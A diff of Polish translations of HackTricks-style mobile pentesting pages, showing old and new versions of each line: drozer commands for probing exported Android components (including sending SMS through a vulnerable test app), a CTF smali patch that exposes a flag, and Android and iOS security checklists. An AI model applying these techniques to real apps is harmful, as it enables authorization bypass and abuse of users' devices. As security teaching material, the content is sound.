JavaScript "Bridge" pozwala obiektom Java wchodzić w interakcje z JavaScript, wymagając, aby metody były oznaczone jako `@JavascriptInterface` dla bezpieczeństwa od Androida 4.2 wzwyż.
JavaScript "Bridge" pozwala obiektom Java na interakcję z JavaScript, wymagając, aby metody były oznaczone jako `@JavascriptInterface` dla bezpieczeństwa od Androida 4.2 wzwyż.
Zezwolenie na dostęp do treści (`setAllowContentAccess(true)`) pozwala WebView na dostęp do Content Providers, co może stanowić ryzyko, chyba że adresy URL treści są weryfikowane jako bezpieczne.
@ -339,17 +342,17 @@ Aby kontrolować dostęp do plików:
- Wyłączenie dostępu do plików (`setAllowFileAccess(false)`) ogranicza dostęp do systemu plików, z wyjątkami dla niektórych zasobów, zapewniając, że są one używane tylko do treści, które nie są wrażliwe.
## Inne komponenty aplikacji i zarządzanie urządzeniami mobilnymi
## Other App Components and Mobile Device Management
### **Podpisy cyfrowe aplikacji**
### **Digital Signing of Applications**
- **Podpis cyfrowy** jest niezbędny dla aplikacji Android, zapewniając, że są **autentycznie napisane** przed instalacją. Proces ten wykorzystuje certyfikat do identyfikacji aplikacji i musi być weryfikowany przez menedżera pakietów urządzenia podczas instalacji. Aplikacje mogą być **podpisane samodzielnie lub certyfikowane przez zewnętrzne CA**, chroniąc przed nieautoryzowanym dostępem i zapewniając, że aplikacja pozostaje nienaruszona podczas dostarczania do urządzenia.
- **Podpis cyfrowy** jest koniecznością dla aplikacji Android, zapewniając, że są **autentycznie napisane** przed instalacją. Proces ten wykorzystuje certyfikat do identyfikacji aplikacji i musi być weryfikowany przez menedżera pakietów urządzenia podczas instalacji. Aplikacje mogą być **podpisane samodzielnie lub certyfikowane przez zewnętrzne CA**, chroniąc przed nieautoryzowanym dostępem i zapewniając, że aplikacja pozostaje nienaruszona podczas dostarczania do urządzenia.
### **Weryfikacja aplikacji dla zwiększonego bezpieczeństwa**
### **App Verification for Enhanced Security**
- Począwszy od **Androida 4.2**, funkcja zwana **Weryfikacja aplikacji** pozwala użytkownikom sprawdzać aplikacje pod kątem bezpieczeństwa przed instalacją. Ten **proces weryfikacji** może ostrzegać użytkowników przed potencjalnie szkodliwymi aplikacjami lub nawet zapobiegać instalacji szczególnie złośliwych, zwiększając bezpieczeństwo użytkowników.
- Począwszy od **Androida 4.2**, funkcja zwana **Weryfikacja aplikacji** pozwala użytkownikom na sprawdzenie aplikacji pod kątem bezpieczeństwa przed instalacją. Ten **proces weryfikacji** może ostrzegać użytkowników przed potencjalnie szkodliwymi aplikacjami lub nawet zapobiegać instalacji szczególnie złośliwych, zwiększając bezpieczeństwo użytkowników.
### **Zarządzanie urządzeniami mobilnymi (MDM)**
### **Mobile Device Management (MDM)**
- **Rozwiązania MDM** zapewniają **nadzór i bezpieczeństwo** dla urządzeń mobilnych poprzez **Device Administration API**. Wymagają one zainstalowania aplikacji Android, aby skutecznie zarządzać i zabezpieczać urządzenia mobilne. Kluczowe funkcje obejmują **egzekwowanie polityk haseł**, **wymuszanie szyfrowania pamięci** oraz **zezwalanie na zdalne usuwanie danych**, zapewniając kompleksową kontrolę i bezpieczeństwo nad urządzeniami mobilnymi.
```java

View File

@ -29,7 +29,7 @@ Agent działa na porcie 31415, musimy [przekierować port](https://en.wikipedia.
```bash
adb forward tcp:31415 tcp:31415
```
Na koniec **uruchom** **aplikację** i naciśnij przycisk "**ON**"
Na koniec, **uruchom** **aplikację** i naciśnij przycisk "**ON**"
![](<../../../images/image (459).png>)
@ -41,17 +41,17 @@ drozer console connect
| **Komendy** | **Opis** |
| --------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Help MODULE** | Pokazuje pomoc wybranego modułu |
| **list** | Pokazuje listę wszystkich modułów drozer, które można wykonać w bieżącej sesji. Ukrywa moduły, do których nie masz odpowiednich uprawnień. |
| **shell** | Uruchamia interaktywną powłokę Linux na urządzeniu, w kontekście Agenta. |
| **clean** | Usuwa tymczasowe pliki przechowywane przez drozer na urządzeniu z Androidem. |
| **load** | Ładuje plik zawierający komendy drozer i wykonuje je w kolejności. |
| **Help MODULE** | Pokazuje pomoc wybranego modułu |
| **list** | Pokazuje listę wszystkich modułów drozer, które można wykonać w bieżącej sesji. Ukrywa moduły, do których nie masz odpowiednich uprawnień. |
| **shell** | Uruchamia interaktywną powłokę Linux na urządzeniu, w kontekście Agenta. |
| **clean** | Usuwa tymczasowe pliki przechowywane przez drozer na urządzeniu z Androidem. |
| **load** | Ładuje plik zawierający polecenia drozer i wykonuje je w kolejności. |
| **module** | Znajduje i instaluje dodatkowe moduły drozer z Internetu. |
| **unset** | Usuwa nazwaną zmienną, którą drozer przekazuje do wszelkich powłok Linux, które uruchamia. |
| **set** | Przechowuje wartość w zmiennej, która zostanie przekazana jako zmienna środowiskowa do wszelkich powłok Linux uruchamianych przez drozer. |
| **shell** | Uruchamia interaktywną powłokę Linux na urządzeniu, w kontekście Agenta |
| **unset** | Usuwa nazwaną zmienną, którą drozer przekazuje do dowolnych powłok Linux, które uruchamia. |
| **set** | Przechowuje wartość w zmiennej, która zostanie przekazana jako zmienna środowiskowa do dowolnych powłok Linux uruchamianych przez drozer. |
| **shell** | Uruchamia interaktywną powłokę Linux na urządzeniu, w kontekście Agenta. |
| **run MODULE** | Wykonuje moduł drozer |
| **exploit** | Drozer może tworzyć exploity do wykonania w urządzeniu. `drozer exploit list` |
| **exploit** | Drozer może tworzyć exploity do wykonania na urządzeniu. `drozer exploit list` |
| **payload** | Exploity potrzebują ładunku. `drozer payload list` |
### Pakiet
@ -95,10 +95,10 @@ Attack Surface:
2 services exported
is debuggable
```
- **Aktywności**: Może uda ci się uruchomić aktywność i obejść jakiś rodzaj autoryzacji, która powinna cię powstrzymać przed jej uruchomieniem.
- **Aktywności**: Może uda ci się uruchomić aktywność i obejść jakiś rodzaj autoryzacji, która powinna uniemożliwić jej uruchomienie.
- **Dostawcy treści**: Może uda ci się uzyskać dostęp do prywatnych danych lub wykorzystać jakąś lukę (SQL Injection lub Path Traversal).
- **Usługi**:
- **jest debugowalny**: [Dowiedz się więcej](./#is-debuggeable)
- **jest debugowalny**: [Dowiedz się więcej](#is-debuggeable)
### Aktywności
@ -107,7 +107,7 @@ Wartość „android:exported” komponentu aktywności eksportowanej jest ustaw
<activity android:name="com.my.app.Initial" android:exported="true">
</activity>
```
**Lista wyeksportowanych aktywności**:
**Lista eksportowanych aktywności**:
```bash
dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
@ -138,7 +138,7 @@ Eksportowana usługa jest zadeklarowana w pliku Manifest.xml:
```markup
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
```
W kodzie **sprawdź** funkcję **`handleMessage`**, która **otrzyma** **wiadomość**:
W kodzie **sprawdź** funkcję **`handleMessage`**, która **odbierze** **wiadomość**:
![](<../../../images/image (82).png>)
@ -177,11 +177,11 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m
```
![](<../../../images/image (647).png>)
### Odbiorniki rozgłoszeniowe
### Odbiorniki Rozgłoszeniowe
**W sekcji podstawowych informacji o Androidzie możesz zobaczyć, czym jest Odbiornik rozgłoszeniowy**.
**W sekcji podstawowych informacji o Androidzie możesz zobaczyć, czym jest Odbiornik Rozgłoszeniowy**.
Po odkryciu tych Odbiorników rozgłoszeniowych powinieneś **sprawdzić kod** ich. Zwróć szczególną uwagę na funkcję **`onReceive`**, ponieważ będzie ona obsługiwać otrzymane wiadomości.
Po odkryciu tych Odbiorników Rozgłoszeniowych powinieneś **sprawdzić kod** ich. Zwróć szczególną uwagę na funkcję **`onReceive`**, ponieważ będzie ona obsługiwać otrzymane wiadomości.
#### **Wykryj wszystkie** odbiorniki rozgłoszeniowe
```bash
@ -208,7 +208,7 @@ Permission: null
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
Permission: null
```
#### Interakcje **Broadcast**
#### Broadcast **Interakcje**
```bash
app.broadcast.info Get information about broadcast receivers
app.broadcast.send Send broadcast using an intent
@ -216,7 +216,7 @@ app.broadcast.sniff Register a broadcast receiver that can sniff particu
```
#### Wyślij wiadomość
W tym przykładzie, wykorzystując [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider, możesz **wysłać dowolny SMS** do dowolnego niepremium miejsca **bez pytania** użytkownika o pozwolenie.
W tym przykładzie, wykorzystując [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider, możesz **wysłać dowolny SMS** na dowolny niepremium cel **bez pytania** użytkownika o pozwolenie.
![](<../../../images/image (415).png>)
@ -229,7 +229,7 @@ run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --compo
### Czy jest debugowalny
Produkcja APK nigdy nie powinna być debugowalna.\
Oznacza to, że możesz **przyłączyć debuger java** do działającej aplikacji, sprawdzić ją w czasie rzeczywistym, ustawić punkty przerwania, przechodzić krok po kroku, zbierać wartości zmiennych, a nawet je zmieniać. [Instytut InfoSec ma doskonały artykuł](../exploiting-a-debuggeable-applciation.md) na temat głębszego badania, gdy twoja aplikacja jest debugowalna i wstrzykiwania kodu w czasie wykonywania.
Oznacza to, że możesz **przyłączyć debugger java** do działającej aplikacji, sprawdzić ją w czasie rzeczywistym, ustawić punkty przerwania, przechodzić krok po kroku, zbierać wartości zmiennych, a nawet je zmieniać. [Instytut InfoSec ma doskonały artykuł](../exploiting-a-debuggeable-applciation.md) na temat głębszego badania, gdy twoja aplikacja jest debugowalna i wstrzykiwania kodu w czasie rzeczywistym.
Gdy aplikacja jest debugowalna, pojawi się w Manifeście:
```xml
@ -239,14 +239,14 @@ Możesz znaleźć wszystkie aplikacje z możliwością debugowania za pomocą **
```bash
run app.package.debuggable
```
## Samouczki
## Tutorials
- [https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref](https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref)
- [https://github.com/mgcfish/mobiletools/blob/master/\_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md](https://github.com/mgcfish/mobiletools/blob/master/_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md)
- [https://www.hackingarticles.in/android-penetration-testing-drozer/](https://www.hackingarticles.in/android-penetration-testing-drozer/)
- [https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac](https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac)
## Więcej informacji
## More info
- [https://blog.dixitaditya.com/android-pentesting-cheatsheet/](https://blog.dixitaditya.com/android-pentesting-cheatsheet/)

View File

@ -10,7 +10,7 @@ Zamierzam przesłać APK na [https://appetize.io/](https://appetize.io) (darmowe
Wygląda na to, że musisz wygrać 1000000 razy, aby zdobyć flagę.
Postępując zgodnie z krokami z [pentesting Android](./), możesz dekompilować aplikację, aby uzyskać kod smali i przeczytać kod Java za pomocą jadx.
Postępując zgodnie z krokami z [pentesting Android]() możesz dekompilować aplikację, aby uzyskać kod smali i przeczytać kod Java za pomocą jadx.
Czytanie kodu java:
@ -22,7 +22,7 @@ Wygląda na to, że funkcja, która ma wydrukować flagę, to **m().**
### **Wywołaj m() po raz pierwszy**
Sprawmy, aby aplikacja wywołała m(), jeśli zmienna _this.o != 1000000_. Aby to zrobić, wystarczy zmienić warunek:
Zróbmy, aby aplikacja wywołała m(), jeśli zmienna _this.o != 1000000_, aby to zrobić, wystarczy zmienić warunek:
```
if-ne v0, v9, :cond_2
```
@ -34,13 +34,13 @@ if-eq v0, v9, :cond_2
![After](<../../images/image (838).png>)
Postępuj zgodnie z krokami [pentest Android](./), aby ponownie skompilować i podpisać APK. Następnie prześlij go do [https://appetize.io/](https://appetize.io) i zobaczmy, co się stanie:
Postępuj zgodnie z krokami [pentest Android]() aby ponownie skompilować i podpisać APK. Następnie, prześlij go do [https://appetize.io/](https://appetize.io) i zobaczmy, co się stanie:
![](<../../images/image (128).png>)
Wygląda na to, że flaga jest zapisana bez całkowitego odszyfrowania. Prawdopodobnie funkcja m() powinna być wywołana 1000000 razy.
**Inny sposób** na zrobienie tego to nie zmieniać instrukcji, ale zmienić porównywane instrukcje:
**Inny sposób** na to, to nie zmieniać instrukcji, ale zmienić porównywane instrukcje:
![](<../../images/image (840).png>)
@ -56,10 +56,10 @@ Czwarty sposób to dodać instrukcję, aby przenieść wartość v9(1000000) do
## Rozwiązanie
Spraw, aby aplikacja wykonała pętlę 100000 razy, gdy wygrasz po raz pierwszy. Aby to zrobić, musisz tylko stworzyć pętlę **:goto_6** i sprawić, aby aplikacja **skoczyła tam, jeśli `this.o`** nie ma wartości 100000:
Spraw, aby aplikacja wykonała pętlę 100000 razy, gdy wygrasz po raz pierwszy. Aby to zrobić, wystarczy stworzyć pętlę **:goto_6** i sprawić, aby aplikacja **skoczyła tam, jeśli `this.o`** nie ma wartości 100000:
![](<../../images/image (1090).png>)
Musisz to zrobić na fizycznym urządzeniu, ponieważ (nie wiem dlaczego) to nie działa na urządzeniu emulowanym.
Musisz to zrobić na fizycznym urządzeniu, ponieważ (nie wiem dlaczego) to nie działa na emulowanym urządzeniu.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -3,29 +3,29 @@
{{#include ../banners/hacktricks-training.md}}
### [Poznaj podstawy Androida](android-app-pentesting/#2-android-application-fundamentals)
### [Poznaj podstawy Androida](android-app-pentesting/index.html#2-android-application-fundamentals)
- [ ] [Podstawy](android-app-pentesting/#fundamentals-review)
- [ ] [Dalvik i Smali](android-app-pentesting/#dalvik--smali)
- [ ] [Punkty wejścia](android-app-pentesting/#application-entry-points)
- [ ] [Aktywności](android-app-pentesting/#launcher-activity)
- [ ] [Schematy URL](android-app-pentesting/#url-schemes)
- [ ] [Dostawcy treści](android-app-pentesting/#services)
- [ ] [Usługi](android-app-pentesting/#services-1)
- [ ] [Odbiorniki rozgłoszeniowe](android-app-pentesting/#broadcast-receivers)
- [ ] [Intencje](android-app-pentesting/#intents)
- [ ] [Filtr intencji](android-app-pentesting/#intent-filter)
- [ ] [Inne komponenty](android-app-pentesting/#other-app-components)
- [ ] [Jak używać ADB](android-app-pentesting/#adb-android-debug-bridge)
- [ ] [Jak modyfikować Smali](android-app-pentesting/#smali)
- [ ] [Podstawy](android-app-pentesting/index.html#fundamentals-review)
- [ ] [Dalvik i Smali](android-app-pentesting/index.html#dalvik--smali)
- [ ] [Punkty wejścia](android-app-pentesting/index.html#application-entry-points)
- [ ] [Aktywności](android-app-pentesting/index.html#launcher-activity)
- [ ] [Schematy URL](android-app-pentesting/index.html#url-schemes)
- [ ] [Dostawcy treści](android-app-pentesting/index.html#services)
- [ ] [Usługi](android-app-pentesting/index.html#services-1)
- [ ] [Odbiorniki rozgłoszeniowe](android-app-pentesting/index.html#broadcast-receivers)
- [ ] [Intencje](android-app-pentesting/index.html#intents)
- [ ] [Filtr intencji](android-app-pentesting/index.html#intent-filter)
- [ ] [Inne komponenty](android-app-pentesting/index.html#other-app-components)
- [ ] [Jak używać ADB](android-app-pentesting/index.html#adb-android-debug-bridge)
- [ ] [Jak modyfikować Smali](android-app-pentesting/index.html#smali)
### [Analiza statyczna](android-app-pentesting/#static-analysis)
### [Analiza statyczna](android-app-pentesting/index.html#static-analysis)
- [ ] Sprawdź użycie [obfuskacji](android-checklist.md#some-obfuscation-deobfuscation-information), sprawdź, czy urządzenie mobilne było zrootowane, czy używany jest emulator oraz sprawdzenia antytamperowe. [Przeczytaj to, aby uzyskać więcej informacji](android-app-pentesting/#other-checks).
- [ ] Wrażliwe aplikacje (jak aplikacje bankowe) powinny sprawdzić, czy urządzenie mobilne jest zrootowane i powinny działać w konsekwencji.
- [ ] Szukaj [interesujących ciągów](android-app-pentesting/#looking-for-interesting-info) (hasła, URL, API, szyfrowanie, backdoory, tokeny, UUID Bluetooth...).
- [ ] Szczególna uwaga na [firebase](android-app-pentesting/#firebase)API.
- [ ] [Przeczytaj manifest:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
- [ ] Sprawdź użycie [obfuskacji](android-checklist.md#some-obfuscation-deobfuscation-information), sprawdź, czy urządzenie mobilne było zrootowane, czy używany jest emulator oraz sprawdzenia antytamperowe. [Przeczytaj to, aby uzyskać więcej informacji](android-app-pentesting/index.html#other-checks).
- [ ] Wrażliwe aplikacje (jak aplikacje bankowe) powinny sprawdzić, czy urządzenie mobilne jest zrootowane i działać w konsekwencji.
- [ ] Szukaj [interesujących ciągów](android-app-pentesting/index.html#looking-for-interesting-info) (hasła, URL, API, szyfrowanie, backdoory, tokeny, UUID Bluetooth...).
- [ ] Szczególna uwaga na [firebase](android-app-pentesting/index.html#firebase)API.
- [ ] [Przeczytaj manifest:](android-app-pentesting/index.html#basic-understanding-of-the-application-manifest-xml)
- [ ] Sprawdź, czy aplikacja jest w trybie debugowania i spróbuj ją "wykorzystać".
- [ ] Sprawdź, czy APK pozwala na tworzenie kopii zapasowych.
- [ ] Eksportowane Aktywności.
@ -33,29 +33,29 @@
- [ ] Ekspozycja usług.
- [ ] Odbiorniki rozgłoszeniowe.
- [ ] Schematy URL.
- [ ] Czy aplikacja [zapisuje dane w sposób niebezpieczny wewnętrznie lub zewnętrznie](android-app-pentesting/#insecure-data-storage)?
- [ ] Czy istnieje jakiekolwiek [hasło zakodowane na stałe lub zapisane na dysku](android-app-pentesting/#poorkeymanagementprocesses)? Czy aplikacja [używa niebezpiecznych algorytmów kryptograficznych](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
- [ ] Czy aplikacja [zapisuje dane w sposób niebezpieczny wewnętrznie lub zewnętrznie](android-app-pentesting/index.html#insecure-data-storage)?
- [ ] Czy istnieje jakiekolwiek [hasło zakodowane na stałe lub zapisane na dysku](android-app-pentesting/index.html#poorkeymanagementprocesses)? Czy aplikacja [używa niebezpiecznych algorytmów kryptograficznych](android-app-pentesting/index.html#useofinsecureandordeprecatedalgorithms)?
- [ ] Wszystkie biblioteki skompilowane z użyciem flagi PIE?
- [ ] Nie zapomnij, że istnieje wiele [statycznych analizatorów Androida](android-app-pentesting/#automatic-analysis), które mogą bardzo pomóc w tej fazie.
- [ ] Nie zapomnij, że istnieje wiele [statycznych analizatorów Androida](android-app-pentesting/index.html#automatic-analysis), które mogą bardzo pomóc w tej fazie.
### [Analiza dynamiczna](android-app-pentesting/#dynamic-analysis)
### [Analiza dynamiczna](android-app-pentesting/index.html#dynamic-analysis)
- [ ] Przygotuj środowisko ([online](android-app-pentesting/#online-dynamic-analysis), [lokalna VM lub fizyczna](android-app-pentesting/#local-dynamic-analysis))
- [ ] Czy istnieje jakiekolwiek [niezamierzone wyciekanie danych](android-app-pentesting/#unintended-data-leakage) (logowanie, kopiowanie/wklejanie, logi awarii)?
- [ ] [Poufne informacje zapisywane w bazach danych SQLite](android-app-pentesting/#sqlite-dbs)?
- [ ] [Wykorzystywalne eksportowane Aktywności](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
- [ ] [Wykorzystywalni Dostawcy treści](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
- [ ] [Wykorzystywalne usługi](android-app-pentesting/#exploiting-services)?
- [ ] [Wykorzystywalne Odbiorniki rozgłoszeniowe](android-app-pentesting/#exploiting-broadcast-receivers)?
- [ ] Czy aplikacja [przesyła informacje w czystym tekście/używa słabych algorytmów](android-app-pentesting/#insufficient-transport-layer-protection)? Czy możliwy jest atak MitM?
- [ ] [Inspekcja ruchu HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic)
- [ ] Przygotuj środowisko ([online](android-app-pentesting/index.html#online-dynamic-analysis), [lokalna VM lub fizyczna](android-app-pentesting/index.html#local-dynamic-analysis))
- [ ] Czy istnieje jakiekolwiek [niezamierzone wyciekanie danych](android-app-pentesting/index.html#unintended-data-leakage) (logowanie, kopiowanie/wklejanie, logi awarii)?
- [ ] [Poufne informacje zapisywane w bazach danych SQLite](android-app-pentesting/index.html#sqlite-dbs)?
- [ ] [Wykorzystywalne eksportowane Aktywności](android-app-pentesting/index.html#exploiting-exported-activities-authorisation-bypass)?
- [ ] [Wykorzystywalni Dostawcy treści](android-app-pentesting/index.html#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
- [ ] [Wykorzystywalne ekspozycje Usług](android-app-pentesting/index.html#exploiting-services)?
- [ ] [Wykorzystywalne Odbiorniki rozgłoszeniowe](android-app-pentesting/index.html#exploiting-broadcast-receivers)?
- [ ] Czy aplikacja [przesyła informacje w czystym tekście/używa słabych algorytmów](android-app-pentesting/index.html#insufficient-transport-layer-protection)? Czy możliwy jest atak MitM?
- [ ] [Inspekcja ruchu HTTP/HTTPS](android-app-pentesting/index.html#inspecting-http-traffic)
- [ ] To jest naprawdę ważne, ponieważ jeśli możesz przechwycić ruch HTTP, możesz szukać powszechnych luk w zabezpieczeniach w sieci (Hacktricks ma wiele informacji na temat luk w zabezpieczeniach w sieci).
- [ ] Sprawdź możliwe [wstrzyknięcia po stronie klienta Androida](android-app-pentesting/#android-client-side-injections-and-others) (prawdopodobnie analiza statyczna pomoże tutaj).
- [ ] [Frida](android-app-pentesting/#frida): Po prostu Frida, użyj jej, aby uzyskać interesujące dane dynamiczne z aplikacji (może jakieś hasła...)
- [ ] Sprawdź możliwe [iniekcje po stronie klienta Androida](android-app-pentesting/index.html#android-client-side-injections-and-others) (prawdopodobnie analiza statyczna pomoże tutaj).
- [ ] [Frida](android-app-pentesting/index.html#frida): Po prostu Frida, użyj jej, aby uzyskać interesujące dane dynamiczne z aplikacji (może jakieś hasła...)
### Informacje o obfuskacji/deobfuskacji
- [ ] [Przeczytaj tutaj](android-app-pentesting/#obfuscating-deobfuscating-code)
- [ ] [Przeczytaj tutaj](android-app-pentesting/index.html#obfuscating-deobfuscating-code)
{{#include ../banners/hacktricks-training.md}}

View File

@ -6,88 +6,88 @@
- [ ] Przeczytaj [**Podstawy iOS**](ios-pentesting/ios-basics.md)
- [ ] Przygotuj swoje środowisko, czytając [**Środowisko testowe iOS**](ios-pentesting/ios-testing-environment.md)
- [ ] Przeczytaj wszystkie sekcje [**Wstępnej analizy iOS**](ios-pentesting/#initial-analysis), aby poznać wspólne działania do pentestingu aplikacji iOS
- [ ] Przeczytaj wszystkie sekcje [**Wstępnej analizy iOS**](ios-pentesting/index.html#initial-analysis), aby poznać wspólne działania do pentestingu aplikacji iOS
### Przechowywanie danych
- [ ] [**Pliki Plist**](ios-pentesting/#plist) mogą być używane do przechowywania wrażliwych informacji.
- [ ] [**Core Data**](ios-pentesting/#core-data) (baza danych SQLite) może przechowywać wrażliwe informacje.
- [ ] [**YapDatabases**](ios-pentesting/#yapdatabase) (baza danych SQLite) może przechowywać wrażliwe informacje.
- [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) błędna konfiguracja.
- [ ] [**Bazy danych Realm**](ios-pentesting/#realm-databases) mogą przechowywać wrażliwe informacje.
- [ ] [**Bazy danych Couchbase Lite**](ios-pentesting/#couchbase-lite-databases) mogą przechowywać wrażliwe informacje.
- [ ] [**Cookies binarne**](ios-pentesting/#cookies) mogą przechowywać wrażliwe informacje.
- [ ] [**Dane w pamięci podręcznej**](ios-pentesting/#cache) mogą przechowywać wrażliwe informacje.
- [ ] [**Automatyczne zrzuty ekranu**](ios-pentesting/#snapshots) mogą zapisywać wizualne wrażliwe informacje.
- [ ] [**Keychain**](ios-pentesting/#keychain) jest zazwyczaj używany do przechowywania wrażliwych informacji, które mogą pozostać po sprzedaży telefonu.
- [ ] [**Pliki Plist**](ios-pentesting/index.html#plist) mogą być używane do przechowywania wrażliwych informacji.
- [ ] [**Core Data**](ios-pentesting/index.html#core-data) (baza danych SQLite) może przechowywać wrażliwe informacje.
- [ ] [**YapDatabases**](ios-pentesting/index.html#yapdatabase) (baza danych SQLite) może przechowywać wrażliwe informacje.
- [ ] [**Firebase**](ios-pentesting/index.html#firebase-real-time-databases) błędna konfiguracja.
- [ ] [**Bazy danych Realm**](ios-pentesting/index.html#realm-databases) mogą przechowywać wrażliwe informacje.
- [ ] [**Bazy danych Couchbase Lite**](ios-pentesting/index.html#couchbase-lite-databases) mogą przechowywać wrażliwe informacje.
- [ ] [**Cookies binarne**](ios-pentesting/index.html#cookies) mogą przechowywać wrażliwe informacje.
- [ ] [**Dane w pamięci podręcznej**](ios-pentesting/index.html#cache) mogą przechowywać wrażliwe informacje.
- [ ] [**Automatyczne zrzuty**](ios-pentesting/index.html#snapshots) mogą zapisywać wizualne wrażliwe informacje.
- [ ] [**Keychain**](ios-pentesting/index.html#keychain) jest zazwyczaj używany do przechowywania wrażliwych informacji, które mogą zostać pozostawione przy odsprzedaży telefonu.
- [ ] Podsumowując, po prostu **sprawdź, czy aplikacja zapisuje wrażliwe informacje w systemie plików.**
### Klawiatury
- [ ] Czy aplikacja [**zezwala na używanie niestandardowych klawiatur**](ios-pentesting/#custom-keyboards-keyboard-cache)?
- [ ] Sprawdź, czy wrażliwe informacje są zapisywane w [**plikach pamięci podręcznej klawiatur**](ios-pentesting/#custom-keyboards-keyboard-cache).
- [ ] Czy aplikacja [**zezwala na używanie niestandardowych klawiatur**](ios-pentesting/index.html#custom-keyboards-keyboard-cache)?
- [ ] Sprawdź, czy wrażliwe informacje są zapisywane w [**plikach pamięci podręcznej klawiatur**](ios-pentesting/index.html#custom-keyboards-keyboard-cache).
### **Logi**
- [ ] Sprawdź, czy [**wrażliwe informacje są rejestrowane**](ios-pentesting/#logs).
- [ ] Sprawdź, czy [**wrażliwe informacje są rejestrowane**](ios-pentesting/index.html#logs).
### Kopie zapasowe
- [ ] [**Kopie zapasowe**](ios-pentesting/#backups) mogą być używane do **uzyskania dostępu do wrażliwych informacji** zapisanych w systemie plików (sprawdź początkowy punkt tej listy kontrolnej).
- [ ] Ponadto, [**kopie zapasowe**](ios-pentesting/#backups) mogą być używane do **modyfikacji niektórych konfiguracji aplikacji**, a następnie **przywrócenia** kopii zapasowej na telefonie, a ponieważ **zmodyfikowana konfiguracja** jest **ładowana**, niektóre (bezpieczeństwa) **funkcjonalności** mogą być **obejście**.
- [ ] [**Kopie zapasowe**](ios-pentesting/index.html#backups) mogą być używane do **uzyskania dostępu do wrażliwych informacji** zapisanych w systemie plików (sprawdź początkowy punkt tej listy kontrolnej).
- [ ] Ponadto, [**kopie zapasowe**](ios-pentesting/index.html#backups) mogą być używane do **modyfikacji niektórych konfiguracji aplikacji**, a następnie **przywrócenia** kopii zapasowej na telefonie, a ponieważ **zmodyfikowana konfiguracja** jest **ładowana**, niektóre (bezpieczeństwa) **funkcjonalności** mogą być **obejście**.
### **Pamięć aplikacji**
- [ ] Sprawdź wrażliwe informacje w [**pamięci aplikacji**](ios-pentesting/#testing-memory-for-sensitive-data).
- [ ] Sprawdź wrażliwe informacje w [**pamięci aplikacji**](ios-pentesting/index.html#testing-memory-for-sensitive-data).
### **Złamana kryptografia**
- [ ] Sprawdź, czy możesz znaleźć [**hasła używane do kryptografii**](ios-pentesting/#broken-cryptography).
- [ ] Sprawdź użycie [**przestarzałych/słabych algorytmów**](ios-pentesting/#broken-cryptography) do wysyłania/przechowywania wrażliwych danych.
- [ ] [**Hook i monitoruj funkcje kryptograficzne**](ios-pentesting/#broken-cryptography).
- [ ] Sprawdź, czy możesz znaleźć [**hasła używane do kryptografii**](ios-pentesting/index.html#broken-cryptography).
- [ ] Sprawdź użycie [**przestarzałych/słabych algorytmów**](ios-pentesting/index.html#broken-cryptography) do wysyłania/przechowywania wrażliwych danych.
- [ ] [**Hook i monitoruj funkcje kryptograficzne**](ios-pentesting/index.html#broken-cryptography).
### **Lokalna autoryzacja**
- [ ] Jeśli w aplikacji używana jest [**lokalna autoryzacja**](ios-pentesting/#local-authentication), powinieneś sprawdzić, jak działa autoryzacja.
- [ ] Jeśli używa [**Frameworka lokalnej autoryzacji**](ios-pentesting/#local-authentication-framework), może być łatwo obejście.
- [ ] Jeśli używa [**funkcji, która może być dynamicznie obejście**](ios-pentesting/#local-authentication-using-keychain), możesz stworzyć niestandardowy skrypt frida.
- [ ] Jeśli w aplikacji używana jest [**lokalna autoryzacja**](ios-pentesting/index.html#local-authentication), powinieneś sprawdzić, jak działa autoryzacja.
- [ ] Jeśli używa [**Frameworka lokalnej autoryzacji**](ios-pentesting/index.html#local-authentication-framework), może być łatwo obejście.
- [ ] Jeśli używa [**funkcji, która może być dynamicznie obejście**](ios-pentesting/index.html#local-authentication-using-keychain), możesz stworzyć niestandardowy skrypt frida.
### Ekspozycja wrażliwej funkcjonalności przez IPC
- [**Niestandardowe obsługiwacze URI / Deeplinks / Niestandardowe schematy**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes).
- [**Niestandardowe obsługiwacze URI / Deeplinks / Niestandardowe schematy**](ios-pentesting/index.html#custom-uri-handlers-deeplinks-custom-schemes)
- [ ] Sprawdź, czy aplikacja **rejestruje jakikolwiek protokół/schemat**.
- [ ] Sprawdź, czy aplikacja **rejestruje się do użycia** jakiegokolwiek protokołu/schematu.
- [ ] Sprawdź, czy aplikacja **oczekuje na otrzymanie jakichkolwiek wrażliwych informacji** z niestandardowego schematu, które mogą być **przechwycone** przez inną aplikację rejestrującą ten sam schemat.
- [ ] Sprawdź, czy aplikacja **nie sprawdza i nie oczyszcza** danych wejściowych użytkowników przez niestandardowy schemat i czy jakaś **vulnerabilność może być wykorzystana**.
- [ ] Sprawdź, czy aplikacja **ekspozytuje jakąkolwiek wrażliwą akcję**, która może być wywołana z dowolnego miejsca przez niestandardowy schemat.
- [**Uniwersalne linki**](ios-pentesting/#universal-links).
- [**Uniwersalne linki**](ios-pentesting/index.html#universal-links)
- [ ] Sprawdź, czy aplikacja **rejestruje jakikolwiek uniwersalny protokół/schemat**.
